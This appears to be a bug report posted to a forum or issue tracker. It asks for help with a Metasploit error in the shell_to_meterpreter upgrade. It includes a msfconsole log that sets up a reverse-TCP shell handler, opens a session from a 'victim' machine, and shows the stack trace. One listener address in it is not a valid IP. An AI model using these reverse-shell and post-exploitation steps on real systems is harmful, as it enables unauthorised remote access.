Setup info: I don't believe this is the issue as I regularly update my system. I'll add one piece of information as an example. If you would really like to the rest then I can add more in later
Payload: I used a custom python script to create a reverse shell from the victim's computer to the attacker. No problem with the low priv shell in netcat or metasploit. If anyone wants to take a look at the script I can upload it to github and share the link(thought its nothing special, I'd prefer to send the link privately to keep the script as less spread as possible).
Exact Steps I took:
msf5 > use multi/handler msf5 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp payload => windows/x64/shell_reverse_tcp msf5 exploit(multi/handler) > set LPORT 549 LPORT => 549 msf5 exploit(multi/handler) > set LHOST 10.8.210.314 LHOST => 10.8.210.314 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.8.210.314 [*] Command shell session 1 opened (10.8.210.314:549 -> 10.9.0.1:50071) at 2020-05-30 22:31:25 -0400 Login: password You have a shell have fun #> background Background session 1? [y/N] y msf5 exploit(multi/handler) > sessions -u 1 [*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): 
[*] Upgrading session ID: 1 [*] Starting exploit/multi/handler [*] Started reverse TCP handler on 10.8.210.314:549 [-] Post failed: NoMethodError undefined method `reverse!' for nil:NilClass [-] Call stack: [-] /usr/share/metasploit-framework/lib/msf/core/session/provider/single_command_shell.rb:136:in `shell_command_token_win32' [-] /usr/share/metasploit-framework/lib/msf/core/session/provider/single_command_shell.rb:84:in `shell_command_token' [-] /usr/share/metasploit-framework/lib/msf/core/post/common.rb:147:in `cmd_exec' [-] /usr/share/metasploit-framework/lib/msf/core/post/windows/powershell.rb:32:in `have_powershell?' [-] /usr/share/metasploit-framework/modules/post/multi/manage/shell_to_meterpreter.rb:161:in `run'
Note: I have taken a look at some of the files, but they seem to be coded in ruby(something I am not familiar with) and the error seems to be related to multiple files, so I have no clue how to really debug this. There also seems to be similar issues posted on github if it helps.